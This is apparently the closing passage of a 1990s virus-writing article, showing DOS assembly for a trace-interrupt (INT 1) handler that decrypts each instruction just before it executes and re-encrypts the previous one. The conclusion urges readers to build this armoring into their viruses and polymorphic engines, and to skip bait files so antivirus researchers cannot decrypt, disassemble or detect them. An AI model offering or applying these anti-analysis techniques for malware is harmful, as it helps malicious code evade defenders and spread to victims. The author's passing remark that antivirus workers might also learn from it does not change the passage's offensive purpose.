        dw      last_enc                ;LAST_ENC



        xor     cs:W[bx],bx             ;re-encrypt last instruction.. 


        mov     es:W[4],di

        mov     es:W[6],si              ;restore int 1 vector 


        mov     ah,4c

        int     21



;^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 
;THINGS TO NOTE FROM THE ABOVE: Firstly, in the instructions 
;       NOP

;       MOV     DX,OFFSET MSG

;the MOV DX opcode is on an odd boundary, and hence, the decryptor will 
;not decrypt it. Secondly the 'DW OFFSET MSG' in MOV     DX,OFFSET MSG 
;is not encrypted, because it it is data from another instruction, and 
;therefore it will never be executed, and passed to the INT 1 handler. 
;The same goes for the +FF(-1),FE in the AND B[BP-1],FE.



;**********************************************************************

;** The following procedure, is the work horse of this code. The CPU ** 
;** will call this INT 1 handler before each opcode as long as the   ** 
;** TRACE flag is set. Unlike most INT 1 handlers that you'll see in ** 
;** virii, this contains no defensive traps. This is because we are  ** 
;** tracing our own code, and not unknown (possibly hostile) code.   ** 
;** It retrieves the calling IP from the stack, and if it is odd,    ** 
;** exits. If even, it will re-encrypt the previous instruction, and ** 
;** decrypt the current one. It saves the calling IP, so that it can ** 
;** re-encrypt it when it is called for the next instruction.        ** 
;**********************************************************************



tracer:

        push    bp                      ;save BP

        mov     bp,sp                   ;BP=SP for reference point of stack. 
        push    si                      ;save SI

        mov     bp,W[bp+2]              ;BP = calling IP (position of 
                                        ;encrypted instruction). 
        test    bp,1                    ;check if on an odd boundry.. 
        jnz     is_odd                  ;it is so leave.

        mov     si,cs:last              ;else get the position of the last 
                                        ;decrypted instruction to reincrypt. 
        mov     cs:last,bp              ;save current position for next time. 
        xor     cs:W[si],si             ;re-encrypt last (XOR it with its IP) 
        xor     cs:W[bp],bp             ;decrypt current (XOR it with its IP) 
is_odd:

        pop     si                      ;restore SI

        pop     bp                      ;restore BP

        iret                            ;adeos!



last    dw      0                       ;last IP for re-encrpytion.. 
msg     db      'Yeah!!$'               ;EVERYBODY SAY YEAH!!!! 
------------------------------------------------------------------------ 


                                CONCLUSION

                                ~~~~~~~~~~



               -TAUGHT-WHEN-WE-ARE-YOUNG-TO-HATE-ONE-ANOTHER- 


        I STRONGLY urge you to employ the above techniques in your virii 
and/or poly engine. If your virus refuses to infect bait files,  is VERY 
heavilly armoured,  so the can not decrypt it,  and dissasemble it,  and 
mutates so slowly, and on such obscure conditions, HOW ARE THEY GOING TO 
IT? Devising an algorith for such a virus would be _VERY_ difficult. 


                                BYE -- BYE

                                ~~~~~~~~~~

        Thank you reading this article. I hope it's been as interesting 
to read as it has been to write!! Hopefully,  we will  be seeing the  AV 
having to work _ALOT_ harder for their money too ;). Alternitively, this 
could be some help to the AV community, so they can see what lies ahead. 


        If you have any questions, comments, critisms, or new ideas, you 
can get in touch with me on IRC, channel #VIRUS, Nickname 'Sepultura' or 
'Sep'. I would really appreciate _ANY_ comments (excpet 'Get Bent!!'). 


                              - THE - END -

==================================================================
==============